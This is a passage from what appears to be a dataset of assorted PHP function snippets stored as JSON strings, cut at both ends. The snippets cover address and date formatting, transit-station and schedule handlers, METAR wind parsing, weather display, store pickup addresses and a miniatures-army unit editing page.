'cs' && $this->postalCode)\n\t\t{\n\t\t\tif (!$this->state && !$this->stateCode)\n\t\t\t{\n\t\t\t\t$address .= ',';\n\t\t\t}\n\t\t\t$address .= ' ' . $this->postalCode;\n\t\t}\n\n\t\t// country\n\t\tif ($address)\n\t\t{\n\t\t\t$address .= ', ';\n\t\t}\n\t\t$address .= $this->country;\n\n\t\t$this->formatedAddress = $address;\n\t}", "function format_datum_1($geef_datum_1) {\n //\n\t\t\t$jaar = substr($geef_datum_1,6,4);\n\t\t\t$maand = substr($geef_datum_1,3,2);\n\t\t\t$dag = substr($geef_datum_1,0,2);\n\n\t\treturn($jaar.'-'.$maand.'-'.$dag);\n\t}", "public function stationbysystem_get(){\n\t\t$id = $this->get('id');\n\t\tif(count($this->get())>1){\n\t\t\t$response = array(\n\t\t\t\t\"status\"=>\"error\",\n\t\t\t\t\"status_code\"=>409,\n\t\t\t\t\"message\"=>\"Too many params was sent\",\n\t\t\t\t\"validations\"=>array(\n\t\t\t\t\t\"id\"=>\"Send Id (Get) to get all stations belonging to a system\"\n\t\t\t\t),\n\t\t\t\t\"data\"=>null\n\t\t\t);\n\t\t}else{\n\t\t\tif($id){\n\t\t\t\t$response = $this->DAO->entitySelection('station',array('fkSystem'=>$id),FALSE);\n\t\t\t}else{\n\t\t\t\t$response = $this->DAO->entitySelection('station');\n\t\t\t}\n\t\t}\n\t\t$this->response($response,200);\n\t}", "static function options(Station $station) {\n\t\tforeach(Station::getAll() as $s)\n\t\t\t$res .= \"<option value=\\\"\".$s->getId().\"\\\" \".\n\t\t\t($s->getId() == $station->getId()?'selected': '').\">\".$s->getTitle().\"</option>\";\n\t\treturn $res;\n\t}", "function display() {\n $output = '';\n \n $output .= $this->_component_id;\n $output .= '<br/>' . $this->_component_type_id;\n $output .= '<br/>' . $this->_quote_id;\n $output .= '<br/>' . $this->component_name;\n $output .= '<br/>' . $this->metal;\n $output .= '<br/>' . $this->powdercoating;\n $output .= '<br/>' . $this->fabric;\n $output .= '<br/>' . $this->processing;\n $output .= '<br/>' . $this->wastage;\n $output .= '<br/>' . $this->installation;\n $output .= '<br/>' . $this->margin;\n $output .= '<br/>' . $this->other;\n\n $output .= '<br/>';\n \n return $output;\n }", "public function get_sessioninfo_output() {\n\n $result = '';\n\n // Display section heading\n $result .= mod_info_collapsible_region_start('schedule-heading', 'modinfo-viewlet-schedule', get_string('schedule_header', 'block_module_info'), 'modinfo-schedule', false, true);\n $result .= html_writer::start_tag('div', array('id'=>'schedule-pane'));\n\n // First check to see if there is any session information\n if (! empty($this->data->block_config->additional_session_subheading) || $this->data->block_config->enable_personal_timetable_link || $this->data->block_config->enable_module_timetable_link || !empty($this->data->block_config->custom_timetable_url)) {\n\n $result .= html_writer::start_tag('div', array('id' => 'schedule'));\n\n // Only display personal timetable link if user is logged in\n if(!isguestuser()) {\n if($this->data->block_config->enable_personal_timetable_link == true) {\n $result .= $this->get_personal_timetable_html();\n }\n } else {\n $result .= html_writer::tag('div', get_string('login_to_view_timetable', 'block_module_info'));\n }\n\n // Module timetable link\n if($this->data->block_config->enable_module_timetable_link == true) {\n $result .= $this->get_module_timetable_html();\n }\n\n // Display custom timetable link if URL is specified\n if(!empty($this->data->block_config->custom_timetable_url)) {\n $result .= $this->get_custom_timetable_html();\n }\n\n // Display each session\n foreach($this->data->block_config->additional_session_subheading as $key=>$value) {\n // Session title:\n $result .= html_writer::tag('h2', s($value), array('class'=>'session-heading'));\n\n // Formatted session details:\n $a = new stdClass();\n $a->day = $this->data->block_config->additional_session_day[$key];\n $a->time = $this->data->block_config->additional_session_time[$key];\n $a->location = $this->data->block_config->additional_session_location[$key];\n $result .= html_writer::tag('div', get_string('session_details', 'block_module_info', $a), array('class'=>'session-details'));\n }\n\n $result .= html_writer::end_tag('div');\n\n } else {\n $result .= $this->output->box(get_string('nosessionsavailable', 'block_module_info'));\n }\n\n $result .= html_writer::end_tag('div');\n $result .= mod_info_collapsible_region_end(true);\n\n return $result;\n }", "public function show(formato4 $formato4)\n {\n //\n }", "public function format()\r\n {\r\n //$this->template=$this->viewModel->formatView();\r\n }", "function format_datum_2($geef_datum_2) {\n //\n\t\t\t$jaar = substr($geef_datum_2,0,4);\n\t\t\t$maand = substr($geef_datum_2,5,2);\n\t\t\t$dag = substr($geef_datum_2,8,2);\n\n\t\treturn( $dag .'-'. $maand .'-'. $jaar );\n\t}", "protected function getSportString() {\n\t\treturn ($this->sportid == -1 ? __('All') : SportFactory::name($this->sportid));\n\t}", "public function getArrival(): string;", "function make_url($station, $datetime)\n{\n $time = $datetime->format('H:i');\n $date = $datetime->format('d.m.y');\n $url = \"http://mobile.bahn.de/bin/mobil/bhftafel.exe/dox?\".\n \"si=$station&bt=dep\".\n \"&ti=$time\".\n \"&date=$date\".\n \"&p=1111101&max=100&rt=1&use_realtime_filter=1\".\n \"&start=yes\";\n return $url;\n}", "public function spec_s(){\n\t\t$this->OnlyAdmin();\n\t\t$info = $this->TicketModel->getspec_s($this->input->get('schedule_id'));\n\t\t$this->loadView('views/schedule', array('info'=> $info), true);\t \n\t}", "public function __toString() {\r\n\t\t$return = $this->getName () . ' : every ';\r\n\t\tforeach ( $this->getDays () as $d ) {\r\n\t\t\t$return .= $d . ', ';\r\n\t\t}\r\n\t\t$return .= '<br>from ' . $this->getStartTime () . ' to ' . $this->getEndTime ();\r\n\t\t$return .= '<br>during this time slot : ' . $this->getTimeSlot ();\r\n\t\t\r\n\t\treturn $return;\r\n\t}", "protected function setStationDataParams($component){\n\t\t$unit=\"\";\n\t\t$query = \"\";\n\t\t$errorbar = false;\n\t\t$style = \"bar\";\n\t\tif($component == 'SSAM Low Frequency Limit'){\n\t\t\t$unit = \"Hz\";\n\t\t\t$attribute = \"sd_ssm_lowf\";\n\t\t\t$query = \"select a.sd_ssm_stime as stime, a.$attribute as value from sd_ssm as a, sd_sam as b where a.sd_sam_id=b.sd_sam_id and b.ss_id=%s and a.$attribute IS NOT NULL and b.sd_sam_pubdate <= now()\";\n\t\t}else if($component == 'SSAM High Frequency Limit'){\n\t\t\t$unit = \"Hz\";\n\t\t\t$attribute = \"sd_ssm_highf\";\n\t\t\t$query = \"select a.sd_ssm_stime as stime, a.$attribute as value from sd_ssm as a, sd_sam as b where a.sd_sam_id=b.sd_sam_id and b.ss_id=%s and a.$attribute IS NOT NULL and b.sd_sam_pubdate <= now()\";\n\t\t}else if($component == 'SSAM Counts'){\n\t\t\t$unit = \"counts\";\n\t\t\t$attribute = \"sd_ssm_count\";\n\t\t\t$query = \"select a.sd_ssm_stime as stime, a.$attribute as value from sd_ssm as a, sd_sam as b where a.sd_sam_id=b.sd_sam_id and b.ss_id=%s and a.$attribute IS NOT NULL and b.sd_sam_pubdate <= now()\";\n\t\t}\t\n\t\t$result = array(\"unit\" => $unit,\n\t\t\t\t\t\t\"style\" => $style,\n\t\t\t\t\t\t\"errorbar\" => $errorbar,\n\t\t\t\t\t\t\"query\" =>$query\n\t\t\t\t\t\t);\n\t\treturn $result;\n\t}", "public function getDateFormated(){\n\t\treturn date(\"d/m/Y à\\s H:i\", strtotime($this->data));\n\t}", "public function getDistanceUnitFormated() {\n\t\treturn Tx_EcDonationrun_ViewHelpers_DistanceFormatViewHelper::render($this->distanceUnit);\n\t}", "private function _getWeatherLink () {\n return sprintf(\n 'https://forecast.weather.gov/MapClick.php?textField1=%.4f&textField2=%.4f',\n $this->lat,\n $this->lon\n );\n }", "public function create()\n {\n $data = array(\n \"stations\" => Station::all()\n );\n return view(\"dispensers.create\", compact(\"data\"));\n }", "public function toString()\n {\n return \"Shipping section fits\";\n }", "function renderSpaceInfo() {\n\t\treturn \"<br><b>\" . t3lib_div::_GP('title') . \"</b> \" . $GLOBALS['LANG']->getLL('information');\n\t}", "function displayTime($event, $dayformat = 'D n/j', $timeformat = 'g:ia') {\n\t\t$str = '';\n\t\t$start = $event['starttime'];\n\t\t$end = $event['endtime'];\n\t\t\n\t\tif ($event['allday']) {\n\t\t\t$str .= date($dayformat, $start);\n\t\t\tif ($start != $end)\n\t\t\t\t$str.= ' - '.date($dayformat, $end);\n\t\t}\n\t\telse if ($start == $end) \n\t\t\t$str .= date($dayformat .', ' . $timeformat, $start);\n\t\telse if (date($dayformat, $start) == date($dayformat, $end)) \n\t\t\t$str .= date($dayformat .', ' . $timeformat, $start).date('-' . $timeformat, $end);\n\t\telse \t$str .= date($dayformat, $start).' - '.date($dayformat, $end).', '.date($timeformat, $start);\n\t\t\n\t\treturn $str;\n\t}", "public function getAllStations(){\n return $this->stationRequest->getAllStations();\n }", "public function getAvenueStreet() :string\n {\n return $this->avenueStreet;\n }", "public function format(): string\n {\n foreach ($this->times as $unit => $value) {\n if ($this->time >= $value) {\n $time = floor($this->time / $value * 100) / 100;\n return \"{$time} {$unit}\";\n }\n }\n\n return round($this->time * 1000) . \" ms\";\n }", "public function asText(){\n $id_length = 2;\n $time_length = 8;\n $times = [];\n foreach($this->times as $id => $time){\n $id_length = max($id_length,strlen($id));\n $time_length = max($time_length,strlen($times[$id] = number_format($time,$this->decimals)));\n }\n $text =\n str_pad('ID',$id_length) . ' | ' . str_pad('time [s]',$time_length,' ',STR_PAD_LEFT) . \"\\n\" .\n str_repeat('-',$id_length) . '-+-' . str_repeat('-',$time_length);\n foreach($this->times as $id => $time)\n $text .= \"\\n\" . str_pad($id,$id_length) . ' | ' . str_pad($times[$id],$time_length,' ',STR_PAD_LEFT);\n return $text;\n }", "function wruv_streamtitle($ts) {\n\t$onair = wruv_sched_slot($ts);\n\treturn wruv_streamtitle_str( $onair );\n\n}", "public function standings()\n {\n return view('standings.realtime');\n }", "Public function displayInfo(){ \r\n\t\t\techo \"The info about the dress.\"; \r\n\t\t\techo $this->color; \r\n\t\t\techo $this->fabric ; \r\n\t\t\techo $this->design;\r\n\t\t\techo self::MEDIUM;\r\n\t\t}", "public function display($simple = false)\n {\n $translate = $this->getTranslate();\n $storeLocation = $this;\n\n if (!$storeLocation instanceof StorePickupLocation) {\n return '<em>' . $translate->_('N/A') . '</em>';\n }\n\n $locationsService = new Service\\Table\\Relational\\Locations();\n $storeLocationsService = new Service\\StorePickupLocations();\n\n $locationFields = $storeLocationsService->getStoreLocationFields();\n\n $storeLocationData = $storeLocation->getData();\n\n foreach ($storeLocationData as $key => $value) {\n if (!in_array($key, $locationFields)) {\n unset($storeLocationData[$key]);\n }\n }\n\n $storeLocation = (array)$storeLocationData;\n\n if (is_numeric($storeLocation['country'])) {\n $row = $locationsService->findBy('id', (int)$storeLocation['country']);\n $storeLocation['country'] = ($row != null) ? $translate->_($row->getData('name')) : $translate->_('n/a');\n }\n\n if (is_numeric($storeLocation['state'])) {\n $row = $locationsService->findBy('id', (int)$storeLocation['state']);\n $storeLocation['state'] = ($row != null) ? $translate->_($row->getData('name')) : $translate->_('n/a');\n }\n\n if (!empty($storeLocation['opening_hours'])) {\n $keys = (isset($storeLocation['opening_hours']['key'])) ? array_values($storeLocation['opening_hours']['key']) : array();\n $values = (isset($storeLocation['opening_hours']['value'])) ? array_values($storeLocation['opening_hours']['value']) : array();\n\n $storeLocation['opening_hours'] = array_filter(\n array_combine($keys, $values));\n\n $openingHours = '<em>Opening Hours</em><br>';\n foreach ($storeLocation['opening_hours'] as $key => $value) {\n $openingHours .= '<small>' . $key . '</small> ' . $value . '<br>';\n }\n\n $storeLocation['opening_hours'] = $openingHours;\n }\n\n\n if (!empty($storeLocation['collection_days'])) {\n $collectionDays = null;\n $collectionDaysSimple = null;\n if (!empty($storeLocation['collection_days'][0])) {\n $collectionDays = $storeLocation['collection_days'][0];\n $collectionDaysSimple = date('d M y', strtotime('+ ' . $storeLocation['collection_days'][0] . ' day'));\n }\n if (!empty($storeLocation['collection_days'][1])) {\n if (!empty($collectionDays)) {\n $collectionDays .= ' - ';\n $collectionDaysSimple .= ' to ';\n }\n $collectionDays .= $storeLocation['collection_days'][1];\n $collectionDaysSimple .= date('d M y', strtotime('+ ' . $storeLocation['collection_days'][1] . ' day'));\n }\n\n $collectionDays .= ' days';\n\n $storeLocation['collection_days'] = '<em>Estimated Collection</em>: ' . $collectionDays;\n $storeLocation['collection_days_simple'] = '<em>Estimated Collection</em>: ' . $collectionDaysSimple;\n }\n else {\n $storeLocation['collection_days'] = null;\n $storeLocation['collection_days_simple'] = null;\n }\n\n if ($simple === true) {\n $storeAddress = $storeLocation['address']\n . ', '\n . $storeLocation['city']\n . ', '\n . $storeLocation['state']\n . ', '\n . $storeLocation['zip_code']\n . ', '\n . $storeLocation['country'];\n\n\n if (self::GOOGLE_MAPS_LINK) {\n $storeAddress = '<a href=\"http://maps.google.com/?q=' . $storeAddress . '\" target=\"_blank\" title=\"View on Google Maps\">'\n . $storeAddress . '</a>';\n }\n\n return $storeLocation['pickup_store_name']\n . ' [ '\n . $storeAddress\n . ' ]'\n . (($storeLocation['collection_days']) ? '<div>' . $storeLocation['collection_days'] . '</div>' : '');\n }\n\n return '<address>'\n . '<strong>' . $storeLocation['pickup_store_name'] . '</strong>'\n . '<br>'\n . $storeLocation['address']\n . '<br>'\n . $storeLocation['city']\n . '<br>'\n . $storeLocation['zip_code']\n . '<br>'\n . $storeLocation['state']\n . ', '\n . $storeLocation['country']\n . ((!empty($storeLocation['store_phone_number'])) ?\n '<br><abbr title=\"' . $translate->_('Phone Number') . '\"><i class=\"fa fa-phone\"></i></abbr> ' . $storeLocation['store_phone_number'] : '')\n . ((!empty($storeLocation['store_email_address'])) ?\n '<br><abbr title=\"' . $translate->_('Email Address') . '\"><i class=\"fa fa-envelope\"></i></abbr> ' . $storeLocation['store_email_address'] : '')\n . ((!empty($storeLocation['collection_days'])) ?\n '<br><br>' . $storeLocation['collection_days'] : '')\n . ((!empty($storeLocation['opening_hours'])) ?\n '<br><br>' . $storeLocation['opening_hours'] : '')\n . '</address>';\n }", "protected function get_wind( ) {\n// Format is dddssKT where ddd = degrees from North, ss = speed, KT for knots,\n// or dddssGggKT where G stands for gust and gg = gust speed. (ss or gg can be a 3-digit number.)\n// KT can be replaced with MPH for meters per second or KMH for kilometers per hour.\n\n if (preg_match('#^([0-9G]{5,10}|VRB[0-9]{2,3})(KT|MPS|KMH)$#',$this->current_group_text,$pieces)) {\n $this->wxInfo['ITEMS'][$this->tend]['CODE_WIND'] = $this->current_group_text;\n $this->current_group_text = $pieces[1];\n $unit = $pieces[2];\n if ($this->current_group_text == '00000') {\n $this->wxInfo['ITEMS'][$this->tend]['WIND_SPEED'] = '0'; // no wind\n }\n else {\n preg_match('#([0-9]{3}|VRB)([0-9]{2,3})G?([0-9]{2,3})?#',$this->current_group_text,$pieces);\n if ($pieces[1] == 'VRB') {\n $direction = 'VAR';\n $this->wxInfo['ITEMS'][$this->tend]['WIND_DIRECTION_TEXT'] = $direction;\n }\n else {\n $angle = (integer) $pieces[1];\n $compass = array('N','NNE','NE','ENE','E','ESE','SE','SSE','S','SSW','SW','WSW','W','WNW','NW','NNW');\n $direction = $compass[round($angle / 22.5) % 16];\n $this->wxInfo['ITEMS'][$this->tend]['WIND_DIRECTION'] = round($angle / 22.5)*22.5;\n $this->wxInfo['ITEMS'][$this->tend]['WIND_DIRECTION_TEXT'] = $direction;\n// $this->wxInfo['WIND_DIRECTION_TEXT'] =round($angle / 22.5);\n }\n\n if (isset($pieces[3]) && trim($pieces[3])!='') $this->wxInfo['ITEMS'][$this->tend]['WIND_GUST'] = $this->convertSpeed($pieces[3], $unit);\n $this->wxInfo['ITEMS'][$this->tend]['WIND_SPEED'] = $this->convertSpeed($pieces[2], $unit);\n }\n $this->current_ptr++;\n }\n $this->current_group++;\n }", "public static function displayUnitInformation($unitid, $user)\n {\n\n $unit = ArmyDB::retrieveUnit($unitid);\n\n //var_dump($unit);\n\n $unitname = $unit['name'];\n\n $unitqty = $unit['qty'];\n\n $unitpts = $unit['pts'];\n if ($unitpts == 1) {\n $pts = \"pt\";\n } else {\n $pts = \"pts\";\n }\n\n $unitstatus = $unit['status'];\n if ($unitstatus == 0) {\n $assembleStatus = 0;\n $baseStatus = 0;\n $paintStatus = 0;\n } else {\n $statusArray = str_split($unitstatus);\n $assembleStatus = $statusArray[0];\n $baseStatus = $statusArray[1];\n $paintStatus = $statusArray[2];\n }\n\n $unitprojectid = $unit['projectid'];\n\n $unitdateadded = $unit['date_added'];\n if (isset($unit['date_edited'])) {\n $unitdateedited = $unit['date_edited'];\n } else {\n $unitdateedited = null;\n }\n\n $unitnotes = $unit['notes'];\n if (empty($unitnotes)) {\n $unitnotes = \"No notes entered yet.\";\n }\n $unitnotes = preg_replace('/\\n(\\s*\\n)+/', '</p><p>', $unitnotes);\n $unitnotes = preg_replace('/\\n/', '<br>', $unitnotes);\n $unitnotes = '<p>' . $unitnotes . '</p>';\n\n $project = ArmyDB::retrieveProjectInfo($unitprojectid);\n $projectname = $project['projectname'];\n $battlegroup = $project['battlegroup'];\n $projectowner = $project['username'];\n\n echo \"<div class='row'>\";\n echo \"<div class='col-xs-12 col-md-6' id='unitinfo'>\";\n echo \"<h1>$unitqty $unitname ($unitpts\" . $pts . \")</h1>\";\n echo \"<h4><em><a href='project.php?id=\" . $unitprojectid . \"'>$projectname</a> - $battlegroup</em></h4>\";\n\n echo \"<p>$unitnotes</p>\";\n\n echo \"<h2>Status</h2>\";\n echo \"<ul>\";\n echo \"<li>Assembly: \" . ArmyDB::convertStatusToText($assembleStatus, \"assemble\") . \"</li>\";\n echo \"<li>Painting: \" . ArmyDB::convertStatusToText($paintStatus, \"paint\") . \"</li>\";\n echo \"<li>Basing : \" . ArmyDB::convertStatusToText($baseStatus, \"base\") . \"</li>\";\n echo \"<li>Date added: $unitdateadded</li>\";\n if (!is_null($unitdateedited)) {\n echo \"<li>Date added: $unitdateedited</li>\";\n }\n echo \"</ul>\";\n\n echo \"<div class='btn-group' role='group'>\";\n if ($projectowner == $user) {\n echo \"<button type='button' class='btn btn-warning btn-lg' data-toggle='modal' data-target='#editUnit'>Edit Unit</button>\";\n echo \"<button type='button' class='btn btn-danger btn-lg' data-toggle='modal' data-target='#deleteUnit'>Delete Unit</button>\";\n\n // edit Unit\n echo \"<div id='editUnit' class='modal fade' role='dialog'>\";\n echo \"<div class='modal-dialog'>\";\n\n echo \"<div class='modal-content'>\";\n echo \"<div class='modal-header'>\";\n echo \"<button type='button' class='close' data-dismiss='modal'>&times;</button>\";\n echo \"<h4 class='modal-title'>Edit Unit</h4>\";\n echo \"</div>\";\n echo \"<form role='form' method='post' action='action.php'>\";\n echo \"<div class='modal-body'>\";\n\n echo \"<div class='form-group'>\";\n echo \"<label for='qty'>Quantity:</label>\";\n echo \"<input type='text' class='form-control' id='qty' name='qty' value='\" . $unitqty . \"'>\";\n echo \"</div>\";\n\n echo \"<div class='form-group'>\";\n echo \"<label for='unitname'>Unit Name:</label>\";\n echo \"<input type='text' class='form-control' id='unitname' name='unitname' value='\" . $unitname . \"'>\";\n echo \"</div>\";\n\n echo \"<div class='form-group'>\";\n echo \"<label for='qty'>Points</label>\";\n echo \"<input type='text' class='form-control' id='pts' name='pts' value='\" . $unitpts . \"'>\";\n echo \"</div>\";\n echo \"<div class='form-group'>\";\n echo \"<label for='assembleStatus'>Assembly Status</label>\";\n echo \"<select id='assembleStatus' name='assembleStatus' class='form-control'>\";\n switch ($assembleStatus) {\n case 0:\n echo \"<option value='0' selected>Unassembled</option>\";\n echo \"<option value='1'>Partially Assembled</option>\";\n echo \"<option value='2'>Assembled</option>\";\n break;\n case 1:\n echo \"<option value='0'>Unassembled</option>\";\n echo \"<option value='1' selected>Partially Assembled</option>\";\n echo \"<option value='2'>Assembled</option>\";\n break;\n case 2:\n echo \"<option value='0'>Unassembled</option>\";\n echo \"<option value='1'>Partially Assembled</option>\";\n echo \"<option value='2' selected>Assembled</option>\";\n break;\n default:\n echo \"<option value='0'>Unassembled</option>\";\n echo \"<option value='1'>Partially Assembled</option>\";\n echo \"<option value='2'>Assembled</option>\";\n break;\n }\n echo \"</select>\";\n echo \"<label for='paintStatus'>Painting Status</label>\";\n echo \"<select id='paintStatus' name='paintStatus' class='form-control'>\";\n switch ($paintStatus) {\n case 0:\n echo \"<option value='0' selected>Bare</option>\";\n echo \"<option value='1'>Primed</option>\";\n echo \"<option value='2'>Basecoat</option>\";\n echo \"<option value='3'>Shade / Washed</option>\";\n echo \"<option value='4'>Basic Highlight</option>\";\n echo \"<option value='5'>Detail Highlight</option>\";\n break;\n case 1:\n echo \"<option value='0'>Bare</option>\";\n echo \"<option value='1' selected>Primed</option>\";\n echo \"<option value='2'>Basecoat</option>\";\n echo \"<option value='3'>Shade / Washed</option>\";\n echo \"<option value='4'>Basic Highlight</option>\";\n echo \"<option value='5'>Detail Highlight</option>\";\n break;\n case 2:\n echo \"<option value='0'>Bare</option>\";\n echo \"<option value='1'>Primed</option>\";\n echo \"<option value='2' selected>Basecoat</option>\";\n echo \"<option value='3'>Shade / Washed</option>\";\n echo \"<option value='4'>Basic Highlight</option>\";\n echo \"<option value='5'>Detail Highlight</option>\";\n break;\n case 3:\n echo \"<option value='0'>Bare</option>\";\n echo \"<option value='1'>Primed</option>\";\n echo \"<option value='2'>Basecoat</option>\";\n echo \"<option value='3' selected>Shade / Washed</option>\";\n echo \"<option value='4'>Basic Highlight</option>\";\n echo \"<option value='5'>Detail Highlight</option>\";\n break;\n case 4:\n echo \"<option value='0'>Bare</option>\";\n echo \"<option value='1'>Primed</option>\";\n echo \"<option value='2'>Basecoat</option>\";\n echo \"<option value='3'>Shade / Washed</option>\";\n echo \"<option value='4' selected>Basic Highlight</option>\";\n echo \"<option value='5'>Detail Highlight</option>\";\n break;\n case 5:\n echo \"<option value='0'>Bare</option>\";\n echo \"<option value='1'>Primed</option>\";\n echo \"<option value='2'>Basecoat</option>\";\n echo \"<option value='3'>Shade / Washed</option>\";\n echo \"<option value='4'>Basic Highlight</option>\";\n echo \"<option value='5' selected>Detail Highlight</option>\";\n break;\n default:\n echo \"<option value='0'>Bare</option>\";\n echo \"<option value='1'>Primed</option>\";\n echo \"<option value='2'>Basecoat</option>\";\n echo \"<option value='3'>Shade / Washed</option>\";\n echo \"<option value='4'>Basic Highlight</option>\";\n echo \"<option value='5'>Detail Highlight</option>\";\n break;\n }\n echo \"</select>\";\n echo \"<label for='baseStatus'>Basing Status</label>\";\n echo \"<select id='baseStatus' name='baseStatus' class='form-control'>\";\n switch ($baseStatus) {\n case 0:\n echo \"<option value='0' selected>Not based</option>\";\n echo \"<option value='1'>Bare basing</option>\";\n echo \"<option value='2'>Painting basing</option>\";\n echo \"<option value='3'>Highlighted basing</option>\";\n break;\n case 1:\n echo \"<option value='0'>Not based</option>\";\n echo \"<option value='1' selected>Bare basing</option>\";\n echo \"<option value='2'>Painting basing</option>\";\n echo \"<option value='3'>Highlighted basing</option>\";\n break;\n case 2:\n echo \"<option value='0' selected>Not based</option>\";\n echo \"<option value='1'>Bare basing</option>\";\n echo \"<option value='2' selected>Painting basing</option>\";\n echo \"<option value='3'>Highlighted basing</option>\";\n break;\n case 3:\n echo \"<option value='0' selected>Not based</option>\";\n echo \"<option value='1'>Bare basing</option>\";\n echo \"<option value='2'>Painting basing</option>\";\n echo \"<option value='3' selected>Highlighted basing</option>\";\n break;\n default:\n echo \"<option value='0' selected>Not based</option>\";\n echo \"<option value='1'>Bare basing</option>\";\n echo \"<option value='2'>Painting basing</option>\";\n echo \"<option value='3'>Highlighted basing</option>\";\n break;\n }\n echo \"</select>\";\n echo \"</div>\";\n echo \"<div class='form-group'>\";\n echo \"<label for='unitnotes'>Unit Notes</label>\";\n echo \"<textarea class='form-control' rows='10' id='unitnotes' name='unitnotes'>$unitnotes</textarea>\";\n echo \"</div>\";\n echo \"<input type='hidden' name='action' value='editUnit'>\";\n echo \"<input type='hidden' name='unitid' value='\" . $unitid . \"'>\";\n\n\n echo \"</div>\";\n echo \"<div class='modal-footer'>\";\n echo \"<input type='submit' class='btn btn-warning' value='Submit Edits!'></td>\";\n echo \"</div>\";\n echo \"</form>\";\n echo \"</div>\";\n\n echo \"</div>\";\n echo \"</div>\";\n\n // modal form for deleting units! //\n\n echo \"<div id='deleteUnit' class='modal fade' role='dialog'>\";\n echo \"<div class='modal-dialog'>\";\n\n echo \"<div class='modal-content'>\";\n echo \"<div class='modal-header'>\";\n echo \"<button type='button' class='close' data-dismiss='modal'>&times;</button>\";\n echo \"<h4 class='modal-title'>Delete Unit</h4>\";\n echo \"</div>\";\n echo \"<form role='form' method='post' action='action.php'>\";\n echo \"<div class='modal-body'>\";\n echo \"<p>Are you sure?</p>\";\n echo \"</div>\";\n echo \"<div class='modal-footer'>\";\n echo \"<form role='form' id='deleteUnit' method='post' action='action.php'>\";\n echo \"<div class='btn-group' role='group' aria-label='...'>\";\n echo \"<button type='button' class='btn btn-default' data-dismiss='modal'>Close</button>\";\n echo \"<input type='submit' class='btn btn-danger' value='Delete Unit!'></td>\";\n echo \"<input type='hidden' name='action' value='deleteUnit'>\";\n echo \"<input type='hidden' name='id' value='\" . $unitid . \"'><input type='hidden' name='projectid' value='\" . $unitprojectid . \"'>\";\n echo \"</div>\";\n echo \"</form>\";\n echo \"</div>\";\n echo \"</div>\";\n echo \"</div>\";\n echo \"</div>\";\n } else {\n echo \"<button type='button' class='btn btn-default btn-lg' data-toggle='modal' data-target='#editUnit' disabled>Edit Unit</button>\";\n echo \"<button type='button' class='btn btn-default btn-lg' data-toggle='modal' data-target='#deleteUnit' disabled>Delete Unit</button>\";\n }\n\n echo \"</div><!-- buttongroup -->\";\n echo \"</div><!-- unitinfo -->\";\n\n echo \"<div class='col-xs-12 col-md-6' id='image'>\";\n echo \"<img src='http://placehold.it/480x320' class='img-responsive pull-right' alt='placeholder'>\";\n\n echo \"</div><!-- image -->\";\n\n echo \"</div><!-- row -->\";\n ArmyForm::displayNotes($unitprojectid, $unitid);\n\n\n }", "public function serang(){\n\n\t\treturn 'sedang menyerang elang';\n\n\t}", "public function savePackstationInformation($observer)\n {\n $data = Mage::app()->getRequest()->getPost();\n if (array_key_exists('shipping', $data) &&\n array_key_exists('ship_to_packstation', $data['shipping']) &&\n array_key_exists('street', $data['shipping']) &&\n preg_match('/^(packstation\\s){0,1}\\d{3,3}$/i', trim(current($data['shipping']['street']))) &&\n 0 < strlen(trim($data['shipping']['dhlaccount']))\n ) {\n Mage::getSingleton('checkout/session')->getQuote()->getShippingAddress()\n ->setData('dhlaccount', $data['shipping']['dhlaccount'])\n ->setData('street', 'Packstation ' . current($data['shipping']['street']))\n ->setData('ship_to_packstation', Dhl_Account_Model_Config::SHIP_TO_PACKSTATION)\n ->save();\n }\n }", "function makeTXT()\n {\n $calendar_text = \"No calendar information available.\";\n if (isset($this->calendar->events)) {\n $calendar_text = \"\";\n foreach ($this->calendar->events as $event) {\n $description_seperator = \" - \";\n $description = \"description\";\n if ($this->description_flag != \"on\") {\n $description_seperator = \"\";\n $description = \"\";\n }\n\n $t =\n $this->textCalendar($event, [\n \"timestamp Y-m-d H:i\",\n \" \",\n // 'timezone',\n // ' ',\n \"summary\",\n \" [\",\n \"runtime\",\n \"]\",\n $description_seperator,\n $description,\n ]) . \"\\n\";\n\n $calendar_text .= $t;\n }\n }\n\n $txt =\n \"CALENDAR \" .\n $this->time_zone .\n \"\\n\\n\" .\n $calendar_text .\n \"\\n\\n\" .\n $this->response;\n\n $this->txt = $txt;\n $this->thing_report[\"txt\"] = $txt;\n }", "public static function formatService($service) {\n $service->unixdate = strtotime($service->date);\n $service->formatteddate = date('d/m/Y', $service->unixdate);\n $service->formattedvisible = $service->visible ? 'Yes' : 'No';\n $service->formattedcommentbox = $service->commentbox ? 'Yes' : 'No';\n $service->formattedmealavisible = $service->mealavisible ? 'Yes' : 'No';\n $service->formattedmealbvisible = $service->mealbvisible ? 'Yes' : 'No';\n $service->formattedmealcvisible = $service->mealcvisible ? 'Yes' : 'No';\n $service->formattedmealdvisible = $service->mealdvisible ? 'Yes' : 'No';\n $service->formattedmealaname = $service->mealaname ? $service->mealaname : 'Meal A';\n $service->formattedmealbname = $service->mealbname ? $service->mealbname : 'Meal B';\n $service->formattedmealcname = $service->mealcname ? $service->mealcname : 'Meal C';\n $service->formattedmealdname = $service->mealdname ? $service->mealdname : 'Meal D';\n $service->formattedmealsinfirst = $service->mealsinfirst ? 'Yes' : 'No';\n $service->formattedmealsinstandard = $service->mealsinstandard ? 'Yes' : 'No';\n\n // ETicket selected\n if ($service->eticketenabled) {\n $etmode = $service->eticketforce ? 'Enabled: Forced' : 'Enabled: Optional';\n } else {\n $etmode = 'Disabled';\n }\n $service->formattedetmode = $etmode;\n\n return $service;\n }", "function load($postalCode = null)\n {\n\t\t\n if($postalCode != null) \n {\n $reportingStation = $this->findClosestStation($postalCode);\n \n if($weatherOutput = $this->processXML($reportingStation['url']))\n {\n $this->p_temperature = $weatherOutput->temp_f;\n $this->p_condition = $weatherOutput->weather;\n $this->p_location = $weatherOutput->location;\n\n $url1 = '<a href=\"'.$this->p_tenDayURL.$postalCode.'\" target=\"_blank\">10 Day Forecast at weather.com<span style=\"font-size: 9px; vertical-align: super;\">&#174;</span></a>';\n $url2 = '<a href=\"'.$this->p_mainSiteURL.'?lat='.$this->p_clientLat.'&lon='.$this->p_clientLon.'\" target=\"_blank\">More at weather.gov</a>';\n\n $tempString = '<div id=\"temperature\">'.$this->p_temperature.'&#186;</div>';\n $condString = $this->p_condition;\n $locString = $this->p_location;\n\n return '<div id=\"weather\">'.$tempString.'<br />'.$condString.'<br />'.$locString.'<br /><br />'.$url2.'<br /><br />'.$url1.'</div>';\n }\n else\n {\n return 'N/A';\n }\n }\n else\n {\n throw new Exception('A Postal Code Must be Provided.');\n }\n //error_log( '== ' . microtime(true) . ' end weather load', 0, 